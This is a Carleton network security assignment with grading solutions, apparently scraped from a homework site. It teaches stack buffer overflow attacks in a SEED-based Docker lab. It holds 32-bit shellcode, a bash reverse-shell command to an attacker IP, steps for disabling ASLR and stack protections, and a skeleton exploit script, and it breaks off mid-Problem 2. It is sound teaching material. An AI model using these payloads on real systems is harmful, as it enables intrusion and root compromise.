Assignment-05-Solutions

pdf

School

Carleton University *

*We aren’t endorsed by this school

Course

4810

Subject

Computer Science

Date

Jan 9, 2024

Type

pdf

Pages

26

Uploaded by CountFlagTrout38

Report
SYSC 4810: Introduction to Network and Software Security Module 5 Assignment Fall 2021 Dr. J. Jaskolka Carleton University Department of Systems and Computer Engineering Posted: November 11, 2021 Due: November 28, 2021 Due on Sunday, November 28, 2021 by 11:59PM This assignment contains 26 pages (including this cover page) and 9 problems. You are responsible for ensuring that your copy of the assignment is complete. Bring any discrepancy to the attention of your instructor. Special Instructions: 1. Do as many problems as you can. 2. Start early as this assignment is much more time consuming than you might initially think! 3. The burden of communication is upon you. Solutions not properly explained will not be considered correct. Part of proper communication is the appearance and layout. If we cannot “decode” what you wrote, we cannot grade it as a correct solution. 4. You may consult outside sources, such as textbooks, but any use of any source must be documented in the assignment solutions. 5. You are permitted to discuss general aspects of the problem sets with other students in the class, but you must hand in your own copy of the solutions. 6. Your assignment solutions are due by 11:59PM on the due date and must be submitted on Brightspace . Late assignments will be graded with a late penalty of 20% of the full grade per day up to 48 hours past the deadline . 7. You are responsible for ensuring that your assignment is submitted correctly and without corruption. Problem 1 2 3 4 5 6 7 8 9 Total Points: 10 15 10 11 11 8 5 5 10 85 Page 1 of 26
SYSC 4810 — Module 5 Assignment Due Date: November 28, 2021 In this assignment, you will participate in activities related to conducting attacks exploiting buffer overflow vulnerabilities in software systems. This assignment aims to assess your understanding of buffer overflow attacks, how they work, and controls for dealing with them. Acknowledgment This assignment is based off the “Buffer Overflow Attack Lab (Server)” SEED Lab developed by Wenliang Du at Syracuse University. Background Research A significant portion of this assignment is to do the required background research on fundamentals of programming and software development including the execution stack , stack and frame pointers , registers , and memory addressing , as well as working with basic software development tools. Keep in mind that a substantial component of any software or computer systems project is to solve and/or eliminate the underlying technical difficulties. This often means exploring user manuals and documentation. Submission Requirements Please read the following instructions very carefully and follow them precisely when submitting your assignment! The following items are required for a complete assignment submission: 1. PDF Assignment Report : Submit a detailed report that carefully and concisely describes what you have done and what you have observed. Include appropriate code snippets and listings, as well as screenshots of program outputs and results. You also need to provide an adequate explanation of the observations that are interesting or surprising. You are encouraged to pursue further investigation beyond what is required by the assignment description. 2. ZIP Archive of Source Code : In addition to embedding source code listings in your assignment report, create and submit a ZIP archive of all programs that you write for this assignment. Please name each of your source code files with the problem number to which they correspond (e.g., for Problem 2(a), the source code file should be named Problem2a.c ). Your source code must compile and run, producing the desired output. Also, please remember to provide sufficient comments in your code to describe what it does and why. 3. ZIP Archive of Screenshot Image Files : In addition to embedding screenshots of program outputs and results in your assignment report, create and submit a ZIP archive of all of the raw screenshot images that you capture for this assignment. Grading Notes An important part of this assignment is following instructions. As such, the following grade penalties will be applied for failure to comply with the submission requirements outlined above: Failure to submit an Assignment Report will result in a grade of 0 for the assignment. Failure to submit the Source Code files will result in deduction of 10% of the full grade of the assignment. Failure to submit the Screenshot Image files will result in deduction of 10% of the full grade of the assignment. Failure of Source Code to compile/run will result in a grade of 0 for the corresponding problem(s). Failure to submit any deliverable in the required format (PDF or ZIP) will result in deduction of 5% of the full grade of the assignment. Page 2 of 26
SYSC 4810 — Module 5 Assignment Due Date: November 28, 2021 Part I Assignment Challenge 1 Introduction Imagine that you work for a large software development firm called SecureTech Industries . The organization has just received a major investment to hire a significant number of new quality assurance engineers. Because the development of secure software and systems is a top priority for SecureTech Industries , the organization is launching an initiative to develop a penetration testing training program for new hires (trainees). Your direct supervisor has just assigned you to prepare the training materials related to buffer overflow vulnerabilities and countermeasures that will be provided to all new hires. The details of the assignment, including your supervisor’s expectations, are provided in the sections below. The different parts of this assignment are designed to guide your investigation and to prepare the different aspects for the training materials. At the end of the assignment, you will be required to summarize the take-away points for new hires so that they can better understand buffer overflow vulnerabilities, attacks, and countermeasures. 2 Context Your supervisor has sent you the following email explaining what is expected for the training materials: Hello, I am sure by now that you have seen the latest memo indicating that we have secured a large investment to hire a new batch of quality assurance engineers. You would have also seen that we need to prepare a new set of penetration testing training materials as part of the upgraded security training program that comes with this investment. This means we have lots of work to do. I need you to prepare the training materials for the buffer overflow training module for our new hires. I have asked the senior development team to provide some sample code to help with this task. This sample code, along with what you develop, will be provided as part of the training package that is provided to new hires. It will enable them to get their hands dirty by trying out a few different approaches for learning how to exploit buffer overflow vulnerabilities on server programs and for understanding the different countermeasures that can be be put in place to prevent them. We want our new hires to be aware of the potential ways in which they can get root shells can by conducting buffer overflow attacks, as well as the ways in which buffer overflow countermeasures work and their relative strengths and weaknesses. The training materials that you prepare need to be well-organized and provide very detailed steps of how to conduct the different experiments that we want the new hires to carry out as part of their hands-on training. The new hires should be able to do everything based on the report that you prepare and enable them to perform self-checks to ensure that they are successful in completing the experiments. This means you should provide screenshots and code fragments to help them understand what they should expect in terms of the outcomes of their experiments. Effectively, you should think of preparing your report as a complete walkthrough of the various experiments and tasks. I know I can count on you for this. Thanks, JJ Page 3 of 26
Your preview ends here
Eager to read complete document? Join bartleby learn and gain access to the full version
  • Access to all documents
  • Unlimited textbook solutions
  • 24/7 expert homework help
SYSC 4810 — Module 5 Assignment Due Date: November 28, 2021 3 Obligations At the end of this assignment, you will be required to deliver the following information and outcomes: 1. A report that can act as a training manual for new hires to better understand buffer overflow vulnerabilities, attacks, and countermeasures. The report should be a complete walkthrough providing a detailed explanation of all of the steps involved in carrying out the various activities and tasks that will be part of the penetration testing training program module related to buffer overflows. 2. A summary of the main take-away points of the training module, including a list of recommendations (“do’s and don’ts”), so that the trainees can be better prepared to protect their programs from buffer overflow vulnerabilities. This must be provided in a single, well-organized report. Page 4 of 26
SYSC 4810 — Module 5 Assignment Due Date: November 28, 2021 Part II Environment Setup This assignment will be conducted using a pre-built virtual machine (VM) image. We will assume that you already have a virtual machine set up from the Module 1 Assignment. For this assignment, you will be attacking four different servers with varying levels of difficulty. We will use containers to set up this environment. 1 Container Setup and Commands Please download the Setup.zip file to your VM from from the assignment resources for this assignment on Brightspace, unzip it, enter the Setup folder, and use the docker-compose.yml file to set up the assignment environment. In what follows, we recall some of the commonly used commands related to Docker and Compose. Since we are going to use these commands very frequently, aliases have been created for them in the .bashrc file in the provided VM image. $ docker-compose build // Build the container image $ docker-compose up // Start the container $ docker-compose down // Shut down the container // Aliases for the Compose commands above $ dcbuild // Alias for: docker-compose build $ dcup // Alias for: docker-compose up $ dcdown // Alias for: docker-compose down All the containers will be running in the background. To run commands on a container, we need to get a shell on that container. We first need to use the docker ps command to find out the ID of the container, and then use docker exec to start a shell on that container. Aliases have been created for them in the .bashrc file in the provided VM image. $ dockps // Alias for: docker ps --format "{{.ID}} {{.Names}}" $ docksh <id> // Alias for: docker exec -it <id> /bin/bash // The following example shows how to get a shell inside hostC $ dockps b1004832e275 hostA-10.9.0.5 0af4ea7a3e2e hostB-10.9.0.6 9652715c8e0a hostC-10.9.0.7 $ docksh 96 root@9652715c8e0a:/# // Note: If a docker command requires a container ID, you do not need to // type the entire ID string. Typing the first few characters will // be sufficient, as long as they are unique among all the containers. If you encounter problems when setting up the environment, please read the “Common Problems” section of the DOCKER MANUAL for potential solutions. *Important Note* Before running “docker-compose build” to build the docker images, you need to compile and copy the server code to the bof-containers folder. This step is described in Section 2 . Page 5 of 26
SYSC 4810 — Module 5 Assignment Due Date: November 28, 2021 2 The Vulnerable Program The vulnerable program used in this assignment is called stack.c , which is in the server-code folder. This program has a buffer-overflow vulnerability. Throughout this assignment, your job is to exploit this vulnerability and gain the root privilege on the server machines. The code listed below has some non-essential information removed, so it is slightly different from what is provided in the setup files. 1 #include <stdlib.h> 2 #include <stdio.h> 3 #include <string.h> 4 5 /* Changing this size will change the layout of the stack. */ 6 #ifndef BUF_SIZE 7 #define BUF_SIZE 100 8 #endif 9 10 int bof( char *str) 11 { 12 char buffer[BUF_SIZE]; 13 14 /* The following statement has a buffer overflow problem */ 15 strcpy(buffer, str); 16 17 return 1; 18 } 19 20 int main( int argc, char **argv) 21 { 22 char str[517]; 23 24 int length = fread(str, sizeof ( char ), 517, stdin); 25 bof(str); 26 fprintf(stdout, "==== Returned Properly ====\n" ); 27 return 1; 28 } The above program has a buffer overflow vulnerability. It reads data from the standard input, and then passes the data to another buffer in the function bof() . The original input can have a maximum length of 517 bytes, but the buffer in bof() is only BUF_SIZE bytes long, which is less than 517. Because strcpy() does not check boundaries (Line 15), buffer overflow will occur. The program will run on a server with the root privilege, and its standard input will be redirected to a TCP connection between the server and a remote user. Therefore, the program actually gets its data from a remote user. If users can exploit this buffer overflow vulnerability, they can get a root shell on the server. 2.1 Compilation To compile the above vulnerable program, we need to turn off the StackGuard and the non-executable stack protections using the -fno-stack-protector and -z execstack options. The following is an example of the compilation command (the L1 environment variable sets the value for the BUF_SIZE constant inside stack.c ). $ gcc -DBUF_SIZE=$(L1) -o stack -z execstack -fno-stack-protector stack.c The stack program will be compiled into both 32-bit and 64-bit binaries. The VM environment is a 64-bit VM, but it still supports 32-bit binaries. All we need to do is to use the -m32 option in the gcc command. Page 6 of 26
Your preview ends here
Eager to read complete document? Join bartleby learn and gain access to the full version
  • Access to all documents
  • Unlimited textbook solutions
  • 24/7 expert homework help
SYSC 4810 — Module 5 Assignment Due Date: November 28, 2021 For 32-bit compilation, we also use -static to generate a statically-linked binary, which is self-contained and does not depend on any dynamic library, because the 32-bit dynamic libraries are not installed in the containers. The compilation commands are already provided in a Makefile . To compile the code, you need to type make to execute those commands. The variables L1 , L2 , L3 , and L4 are set in Makefile ; they will be used during the compilation. The following commands conduct the compilation and installation. $ make $ make install *Important Note* After the compilation, you need to copy the binaries into the bof-containers folder, so they can be used by the containers. 2.2 The Server Program In the server-code folder, you will find a program called server.c . This is the main entry point of the server. It listens to port 9090 . When it receives a TCP connection, it invokes the stack program, and sets the TCP connection as the standard input of the stack program. This way, when stack reads data from stdin , it actually reads from the TCP connection, i.e., the data are provided by the user on the TCP client side. 3 Buffer Overflow Countermeasures Ubuntu and other Linux distributions have implemented several security mechanisms to make conducting buffer overflow attacks difficult. To simplify our attacks, and to better understand how these security mechanisms work, we will start by disabling these security mechanisms. Later on, we will enable them one by one, and see whether the attacks can still be successful. In this part of the assignment, we provide some information on how to disable these countermeasures. *Important Note* Before beginning this assignment, please ensure that you have disabled the virtual address space randomization feature of the Linux kernel described below in Section 3.1 . This is required to accurately predict the buffer location for your attacks. 3.1 Address Space Layout Randomization Ubuntu and several other Linux-based systems use address space randomization to randomize the starting address of the heap and stack. This makes guessing the exact addresses difficult; guessing addresses is one of the critical steps of buffer overflow attacks. In this assignment, we disable this feature using the following command: $ sudo /sbin/sysctl -w kernel.randomize_va_space=0 3.2 The StackGuard Protection Scheme The gcc compiler implements a security mechanism called StackGuard to prevent buffer overflows. In the presence of this protection, buffer overflow attacks will not work. We can disable this protection during the compilation using the -fno-stack-protector option. For example, to compile a program example.c with StackGuard disabled, we can do the following: $ gcc -fno-stack-protector example.c Page 7 of 26
SYSC 4810 — Module 5 Assignment Due Date: November 28, 2021 3.3 Non-Executable Stack Ubuntu used to allow executable stacks, but this has now changed: the binary images of programs (and shared libraries) must declare whether they require executable stacks or not, i.e., they need to mark a field in the program header. The kernel or dynamic linker uses this marking to decide whether to make the stack of this running program executable or non-executable. This marking is done automatically by the recent versions of gcc , and by default, stacks are set to be non-executable. To change that, use the following option when compiling programs: # For executable stack: $ gcc -z execstack -o example example.c # For non-executable stack: $ gcc -z noexecstack -o example example.c 4 User Accounts As a reminder, the virtual machine has two user accounts. The usernames and passwords are listed below: 1. User ID: root , Password: seedubuntu . Ubuntu does not allow root to login directly from the login window. You have to login as a normal user, and then use the command su to login to the root account. 2. User ID: seed , Password: dees . This account is already given the root privilege, but to use the privilege, you need to use the sudo command. *Important Note* It is essential that you set up the virtual machine environments as early as possible to ensure that you have time to address any technical difficulties that you may face. The instructor and the TA will not be able to provide adequate technical support close to the assignment due date. Page 8 of 26
SYSC 4810 — Module 5 Assignment Due Date: November 28, 2021 Part III Buffer Overflow Attacks 1 Introduction Buffer overflow is defined as the condition in which a program attempts to write data beyond the boundaries of pre-allocated fixed length buffers. This vulnerability can be used by a malicious adversary to alter the flow control of the program, leading to the execution of malicious code. This vulnerability arises due to the mixing of the storage for data (e.g., buffers) and the storage for controls (e.g., return addresses): an overflow in the data part can affect the control flow of the program, because an overflow can change the return address. The objective of this assignment is for you to gain practical insights into this type of vulnerability, and learn how to exploit the vulnerability in attacks. In this assignment, you will develop a report that can serve as a training manual for the new hires (trainees) of SecureTech Industries that will provide hands-on experience with buffer overflow vulnerabilities and attacks. Your task is to develop the step-by-step procedures to be included in the training manual that will enable trainees to to exploit the vulnerability on the provided server programs and finally gain a reverse shell with root privileges. In addition to the attacks, the training manual should also explore several protection schemes that have been implemented in the operating system to counter against buffer overflow attacks. Your training materials are required to evaluate whether the schemes work or not and explain why to help the trainees better understand the strengths and limitations of these different defenses. 2 Background 2.1 Execution Stacks and Memory Addressing In this section, we briefly summarize some of the important guidelines regarding execution stacks and memory addressing that are required for understanding buffer overflow attacks, how they work, and how to launch such an attack. 2.1.1 Stack Layout To execute the shellcode in the execution stack, we need the instruction pointer to point to it. One thing we can do to accomplish this is to change the return address to point to the shellcode. But we have two problems: (1) we do not know where the return address is stored, and (2) we do not know where the shellcode is stored. To answer these questions, we need to understand the stack layout when the execution enters a function. Figure 1 gives an example of stack layout during a function invocation. 2.1.2 Finding the Address of the Malicious Code To be able to jump to our malicious code, we need to know the memory address of the malicious code. Unfortunately, we do not know where exactly our malicious code is. We only know that our code is copied into the target buffer on the stack, but we do not know the buffer’s memory address, because its exact location depends on the program’s stack usage. If you can accurately calculate the address of buffer[] , you should be able to accurately calculate the starting point of the malicious code. Even if you cannot accurately calculate the address (for example, for remote programs), you can still guess . In theory, the entire search space for a random guess is 2 32 addresses (for a 32-bit machine), but in practice, the space is much smaller. Two facts make the search space small and that make guessing a feasible approach. First, before countermeasures are introduced, most operating systems place the stack (each process has one) at a fixed starting address. It should be noted that the address is a virtual address, which is mapped to a different Page 9 of 26
Your preview ends here
Eager to read complete document? Join bartleby learn and gain access to the full version
  • Access to all documents
  • Unlimited textbook solutions
  • 24/7 expert homework help
SYSC 4810 — Module 5 Assignment Due Date: November 28, 2021 void func ( char *str) { char buffer[12]; int variable_a; strcpy(buffer, str); } int main() { char *str = "I am greater than 12 bytes" ; func(str); } (a) A code example . . . High Address str (a pointer to a string) Return Address Previous Frame Pointer (FP) Current FP buffer[0] . . . buffer[11] variable_a Current frame . . . Low Address (b) Active stack frame in func() Figure 1: An example of stack layout during a function invocation physical memory address for different processes. Therefore, there is no conflict for different processes to use the same virtual address for its stack. Second, most programs do not have a deep stack. The stack can grow deep if the function call chain is long, but this usually happens in recursive function calls. Typically, call chains are not very long, so in most programs, stacks are quite shallow. Combining the first and second facts, we can tell that the search space is much smaller than 2 32 , so guessing the correct address is not as difficult as it may first seem. For our guess to be successful, we need to guess the exact entry point the malicious code. If we miss by one byte, the attack will fail (usually with a Segmentation Fault). To improve the chance of success when guessing the correct address, we can create many entry points for the malicious code. The can be done by adding many No-Op ( NOP ) instructions before the actual entry point of the code. The NOP instruction does not do anything meaningful, other than advancing the program counter to the next location. Therefore, if we can jump to any of these NOP s, we can eventually get to the malicious code. This will significantly increase the success rate. This is illustrated in Figure 2 . . . . Malicious Code str Return Address Previous FP buffer[0] . . . buffer[11] . . . (a) Jump to the malicious code . . . Malicious Code NOP NOP . . . many NOP s NOP str Return Address Previous FP buffer[0] . . . buffer[11] . . . (b) Improving the chance of success Figure 2: Finding the starting point of the malicious code Page 10 of 26
SYSC 4810 — Module 5 Assignment Due Date: November 28, 2021 2.1.3 Finding the Address of the Malicious Code without Guessing Knowing the Buffer Size and Address There are two critical pieces of information for buffer overflow attacks: the buffer’s address and size. In this section, we assume that an attacker knows both of these pieces of information. If an attacker is on the same machine that runs the vulnerable program, they can get a copy of the vulnerable program, do some investigation, and derive the address for the malicious code without a need for guessing. The attack can use debugging to find out where the stack frame resides on the stack, and use that to derive where the code is. A debugger can easily help an attacker to print out the value of the frame pointer ( ebp ) and the address of the buffer. Once the attacker learns the value of the frame pointer ( ebp ), they can tell that the can the return address is stored in ebp + 4 (for a 32-bit machine; recall that pointers in a 32-bit machine are 4 bytes long). This means that the first address that the attacker can jump to is ebp + 8 (i.e., the memory region starting from this address is filled with NOP s). Therefore, the attacker can put ebp + 8 inside the return address field. Inside the input, where is the return address field? Since the input will be copied to the buffer starting from its beginning, the attacker needs to know where the buffer starts in the memory, and what the distance is between the buffer’s starting point and the return address field. The attacker can use the address of the buffer ( &buffer ) and calculate the distance between ebp and the buffer’s starting address. Then recalling that the return address field is 4 bytes above where ebp points to, the attacker can determine where the buffer starts in the memory. Note that the debugging method may not be applicable for remote attacks, where attackers try to inject code from a remote machine. Remote attackers may not have a copy of the vulnerable program; nor can they conduct investigation on the target machine. Additionally, in real-world situations, an attacker may not be able to know the exact values of the buffer size and address. Knowing the Range of the Buffer Size In this section, we assume that an attacker knows the address of the buffer ( &buffer ), but they do not know exactly what the buffer size is; they only know it is in a range, from 10 to 100, for example. Obviously, the attacker can use a brute force approach, trying all the values between 10 to 100. The question is whether the attacker can do it with only one try. In real-world situations, brute-force attacks can easily trigger alarms, so the less that is tried the better. The buffer size decides where the return address is. Without knowing the actual buffer size, we do not know which area in the input string should be used to hold the return address (denoted RT ). Guessing is an approach, but there is a better solution: instead of putting the return address in one location, we put it in all the possible locations, so it does not matter which one is the actual location. This technique is called spraying , i.e., we spray the buffer with the return address. Since the range of the buffer size is between 10 to 100, the actual distance between the return address field and the beginning of the buffer will be at most 100 plus some small value (compilers may add additional space after the end of the buffer). Therefore, the attacker can consider 120, for instance. Thus, if the attacker can spray the first 120 bytes of the buffer with the return address (4 bytes for each address), they can guarantee that one of them will overwrite the actual return address field. The attacker does not need to decide the value for the return address. The first NOP instruction will be at address &buffer + 120 . Since we assume that &buffer is known to the attacker, they can use &buffer + 120 for the return address. Actually, because of the NOP s, any address between this value and the starting address of the malicious code can be used. Knowing the Range of the Buffer Address In this section, we lift the assumption on the buffer address. We assume that the attacker does not know the exact value of the buffer address, but they know its range is between some known address A and A+100 . We also assume, as we have in the previous section, that the attacker only knows that the size of the buffer is in Page 11 of 26
SYSC 4810 — Module 5 Assignment Due Date: November 28, 2021 a range between 10 to 100. The attacker would like to construct one payload, so regardless what the buffer address is, as long as it is within the specified range, the payload can successfully exploit the vulnerability. In this case, the attacker can still use the spraying technique to construct the first 120 bytes of the buffer, and put 150 bytes of NOP afterward, followed by the malicious code. Therefore, if the buffer’s address is X , the NOP section will be in the range of [X + 120, X + 270] . However, the attacker does not know X , and therefore they do not know the exact range for the NOP section. Since X is in the range of [A, A + 100] , the attacker can enumerate all the possible values for X , and see where their NOP sections are as shown below: Buffer Address NOP Section A [A + 120, A + 270 ] A+4 [A + 124, A + 274] A+8 [A + 128, A + 278] . . . . . . A+100 [ A + 220 , A + 370] To find a NOP that works for all the possible buffer addresses, the NOP must be in the conjunction of all the NOP sections shown above. That will be [A + 220, A + 270] . Namely, any address in this range can be used for the return address. Let us generalize what we have just discussed regarding the return address value that can be used in the attack. Assume that the buffer address is within the range of [A, A + H] , the first S bytes of the buffer are used for the spraying, and the next L bytes of the buffer are filled with the NOP instruction (the NOP section). If the buffer’s actual starting address is X = A , the NOP section’s range will be [A + S, A + S + L] . Any number in this range can be used for the return address. If the buffer’s actual starting address is X = A + 4 , the NOP section’s range will be [(A + 4) + S , (A + 4) + S + L] . Any number in this range can be used for the return address. If the buffer’s actual starting address is X = A + H , the NOP section’s range will be [(A + H) + S , (A + H) + S + L] . Any number in this range can be used for the return address. Figure 3 depicts the idea. If we want to find an return address value that works for all the possible buffer addresses, it must be in the conjunction of all the ranges for X = A, A+4, ..., A+H . From Figure 3 , we can see that the conjunction is [A + H + S, A + S + L) . Any number in this range can be used for the return address. Difficulties arise when H is larger than L , i,e., the lower bound of the above range is larger than the upper bound. In this case, the range is impossible, and no value for the return address can satisfy all the buffer addresses. Intuitively speaking, if the range of the buffer address is too large, but the space to put NOP instructions is too small, the attacker will not be able to find a solution. To have at least one solution, the relationship H < L must hold. Since L is decided by the payload size, which depends on how many bytes the vulnerable program can take from the attacker, the attacker cannot arbitrarily increase L to satisfy the inequality. Similarly, the attacker cannot reduce the width H of the specified range for the buffer address. However, they we can break the range into smaller subranges, each of which has a smaller width H’ . As long as H’ is less than L , the attacker can find a solution. Basically, if the range is too wide, the attacker can break it into smaller subranges, and then construct a malicious payload for each of the subranges. 2.2 Root Shells A shell is a program that provides the traditional, text-only user interface for Unix-like operating systems. Its primary function is to read commands that are typed into a console or terminal window and then execute them. A shell that operates with root privileges is called a root shell . A root shell is denoted by the # prompt rather than the non-root $ prompt. Page 12 of 26
Your preview ends here
Eager to read complete document? Join bartleby learn and gain access to the full version
  • Access to all documents
  • Unlimited textbook solutions
  • 24/7 expert homework help
SYSC 4810 — Module 5 Assignment Due Date: November 28, 2021 RT RT RT NOP NOP Malicious Code Start of the buffer: X Return Address Section: Length = S NOP Section: Length = L X+S X+S+L RT can be picked from this range X=A X=A+4 X=A+H ... ... A+S A+S+L (A+4)+S (A+4)+S+L (A+H)+S (A+H)+S+L RT picked from this range will work for all values of X Structure of the badfile Figure 3: Spraying the buffer with return addresses 2.3 Reverse Shells The key idea of a reverse shell is to redirect its standard input, output, and error devices to a network connection, so the shell gets its input from the connection, and prints out its output also to the connection. At the other end of the connection is a program run by the attacker; the program simply displays whatever comes from the shell at the other end, and sends whatever is typed by the attacker to the shell, over the network connection. A commonly used program by attackers is netcat , which, if running with the -l option, becomes a TCP server that listens for a connection on the specified port. This server program basically prints out whatever is sent by the client, and sends to the client whatever is typed by the user running the server. In what follows, netcat ( nc for short) is used to listen for a connection on port 9090 . Attacker(10.0.2.6):$ nc -nv -l 9090 // Waiting for reverse shell Listening on 0.0.0.0 9090 Connection received on 10.0.2.5 39452 Server(10.0.2.5):$ // Reverse shell from 10.0.2.5 Server(10.0.2.5):$ ifconfig ifconfig enp0s3: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500 inet 10.0.2.5 netmask 255.255.255.0 broadcast 10.0.2.255 Let us focus on the first line. The nc command will block, waiting for a connection. We now directly run the following bash program on the Server machine ( 10.0.2.5 ) to emulate what attackers would run after compromising the server via the Shellshock attack . This bash command will trigger a TCP connection to the attacker machine’s port 9090 , and a reverse shell will be created. We can see the shell prompt from the above result, indicating that the shell is running on the Server machine; we can type the ifconfig command to verify that the IP address is indeed 10.0.2.5 , the one belonging to the Server machine. The bash command is provided here: Page 13 of 26
SYSC 4810 — Module 5 Assignment Due Date: November 28, 2021 Server(10.0.2.5):$ /bin/bash -i > /dev/tcp/10.0.2.6/9090 0<&1 2>&1 The above command represents the one that would normally be executed on a compromised server. It is quite complicated, and we give a detailed explanation below: /bin/bash -i : The option i stands for interactive, meaning that the shell must be interactive (i.e., it must provide a shell prompt). > /dev/tcp/10.0.2.6/9090 : This causes the output device ( stdout ) of the shell to be redirected to the TCP connection to 10.0.2.6 ’s port 9090 . In Unix systems, stdout ’s file descriptor is 1 . 0<&1 : File descriptor 0 represents the standard input device ( stdin ). This option tells the system to use the standard output device as the standard input device. Since stdout is already redirected to the TCP connection, this option basically indicates that the shell program will get its input from the same TCP connection. 2>&1 : File descriptor 2 represents the standard error ( stderr ). This causes the error output to be redirected to stdout , which is the TCP connection. In summary, the command /bin/bash -i > /dev/tcp/10.0.2.6/9090 0<&1 2>&1 starts a bash shell on the server machine, with its input coming from a TCP connection, and output going to the same TCP connection. In this example, when the bash shell command is executed on 10.0.2.5 , it connects back to the netcat process started on 10.0.2.6 . This is confirmed via the Connection from 10.0.2.5 ... message displayed by netcat . 3 Problems and Tasks Problem 1 [10 points] Geting Familiar with the Shellcode: The ultimate goal of buffer-overflow attacks is to inject malicious code into the target program, so the code can be executed using the target program’s privilege. Shellcode is widely used in most code-injection attacks. Let us get familiar with it in this task. Shellcode is basically a piece of code that launches a shell, and is usually written in assembly languages. The generic shellcode is listed below (we only list the 32-bit version; a 64-bit version is included in the Setup files): 1 shellcode = ( 2 "\xeb\x29\x5b\x31\xc0\x88\x43\x09\x88\x43\x0c\x88\x43\x47\x89\x5b" 3 "\x48\x8d\x4b\x0a\x89\x4b\x4c\x8d\x4b\x0d\x89\x4b\x50\x89\x43\x54" 4 "\x8d\x4b\x48\x31\xd2\x31\xc0\xb0\x0b\xcd\x80\xe8\xd2\xff\xff\xff" 5 "/bin/bash*" 6 "-c*" 7 "/bin/ls -l; echo Hello; /bin/tail -n 2 /etc/passwd *" 8 # The * in this line serves as the position marker * 9 "AAAA" # Placeholder for argv[0] --> "/bin/bash" 10 "BBBB" # Placeholder for argv[1] --> "-c" 11 "CCCC" # Placeholder for argv[2] --> the command string 12 "DDDD" # Placeholder for argv[3] --> NULL 13 ).encode(’latin-1’) The shellcode runs the /bin/bash shell program (Line 5), but it is given two arguments, -c (Line 6) and a command string (Line 7). This indicates that the shell program will run the commands in the second argument. The asterisk ( * ) at the end of these strings is only a placeholder, and it will be replaced by one byte of 0x00 during the execution of the shellcode. Each string needs to have a zero at the end, but we cannot put zeros in the shellcode. Instead, we put a placeholder at the end of each string, and then dynamically put a zero in the placeholder during the execution. Page 14 of 26
SYSC 4810 — Module 5 Assignment Due Date: November 28, 2021 If we want the shellcode to run some other commands, we just need to modify the command string in Line 7. However, when making changes, we need to make sure not to change the length of this string, because the starting position of the placeholder for the argv[] array, which is right after the command string, is hardcoded in the binary portion of the shellcode. If we change the length, we need to modify the binary part. To keep the asterisk ( * ) at the end of this string at the same position, you can add or delete spaces. You can find the generic shellcode in the shellcode folder of the setup files. Inside, you will see two Python programs, shellcode_32.py and shellcode_64.py . They are for 32-bit and 64-bit shellcode, respectively. These two Python programs will write the binary shellcode to codefile_32 and codefile_64 , respectively. You can then use call_shellcode to execute the shellcode in them. // Generate the shellcode binary $ ./shellcode_32.py // generate codefile_32 $ ./shellcode_64.py // generate codefile_64 // Compile call_shellcode.c $ make // generate a32.out and a64.out // Test the shellcode $ a32.out // execute the shellcode in codefile_32 $ a64.out // execute the shellcode in codefile_64 (a) [5 points] Compile and run the shellcode provided in the shellcode folder of the setup files. Explain what the shellcode is doing for both the 32-bit case and the 64-bit case. In your assignment report, make sure to explain how to compile and run the shellcode and include screenshots showing the results of executing the shellcode. Solution: Award 1 point for explaining how to compile and run the shellcode. Award 1 point for explaining what the 32-bit version of the shellcode does. Award 1 point for explaining what the 64-bit version of the shellcode does. Award 1 point for appropriate screenshots of the 32-bit case. Award 1 point for appropriate screenshots of the 64-bit case. Students should provide an appropriate explanation of the commands used to compile the 32 -bit and 64-bit version of the shellcode. Students should observe that the shellcode prints hello and then the last 2 lines of the user database ( /etc/passwd ) file (for the 32-bit case) and the last 4 lines of the user database (for the 64-bit case). Students should demonstrate their observations with suitable screenshots and explanations. (b) [5 points] Modify the shellcode so that you can use it to create a file called infected.txt on the Desktop. In your assignment report, please include your modified the shellcode as well as an explanation of the modifications. Do not forget to also include screenshots showing the results of executing your modified shellcode. Solution: Award 1 point for a modification to the shellcode that changes the directory to the Desktop. Award 1 point for a suitable explanation of the modification. Award 1 point for a modification to the shellcode that creates a file called infected.txt . Award 1 point for a suitable explanation of the modification. Award 1 point for appropriate screenshots of results. Students should change Line 7 of the shellcode provided in the problem to: "cd ~/Desktop; /bin/touch infected.txt *" Note that students may use different commands, but the overall effect should be the same. Students should demonstrate their observations with suitable screenshots and explanations. Page 15 of 26
Your preview ends here
Eager to read complete document? Join bartleby learn and gain access to the full version
  • Access to all documents
  • Unlimited textbook solutions
  • 24/7 expert homework help
SYSC 4810 — Module 5 Assignment Due Date: November 28, 2021 Problem 2 [15 points] Attacking a 32-bit Server Program: Knowing the Buffer Size and Address (Level-1): For this problem, the target server runs on 10.9.0.5 (the port number is 9090 ), and the vulnerable program stack is a 32-bit program. When a benign message is sent to this server, you will see the following messages printed out by the target container (the actual messages you see may be different). // On the VM (i.e., the attacker machine) $ echo hello | nc 10.9.0.5 9090 Press Ctrl+C // Messages printed out by the container server-1-10.9.0.5 | Got a connection from 10.9.0.1 server-1-10.9.0.5 | Starting stack server-1-10.9.0.5 | Input size: 6 server-1-10.9.0.5 | Frame Pointer (ebp) inside bof(): 0xffffdb88 // NOTE 1 server-1-10.9.0.5 | Buffer’s address inside bof(): 0xffffdb18 // NOTE 2 server-1-10.9.0.5 | ==== Returned Properly ==== The server will accept up to 517 bytes of the data from the user, and that will cause a buffer overflow. Your job is to construct a payload to exploit this vulnerability. If you save your payload in a file, you can send the payload to the server using the following command. $ cat <file> | nc 10.9.0.5 9090 If the server program returns, it will print out “ Returned Properly ”. If this message is not printed out, the stack program has probably crashed. The server will still keep running, taking new connections. For this problem, two pieces of information essential for buffer-overflow attacks are printed out as hints: the value of the frame pointer and the address of the buffer (lines marked by NOTE 1 and NOTE 2 ). The frame pointer register is called ebp for the x86 architecture and rbp for the x64 architecture. You can use these two pieces of information to construct your payload. (a) [10 points] To exploit the buffer-overflow vulnerability in the target program, you need to prepare a payload, and save it inside a file (in this assignment document, this file is called badfile ). You can use a Python program to do that. A skeleton program called exploit.py (shown below) is included in the attack-code folder in the setup files on Brightspace. The code is incomplete, and you need to replace some of the essential values in the code. 1 #!/usr/bin/python3 2 import sys 3 # You can copy and paste the shellcode from Problem 1 4 shellcode = ( 5 "" # NEED TO CHANGE 6 ).encode( ’latin-1’ ) 7 8 # Fill the content with NOP’s 9 content = bytearray (0x90 for i in range (517)) 10 11 ################################################################## 12 # Put the shellcode somewhere in the payload 13 start= 0 # NEED TO CHANGE 14 content[start:start + len (shellcode)] = shellcode 15 16 # Decide the return address value 17 # and save it somewhere in the payload 18 ret = 0xAABBCCDD # NEED TO 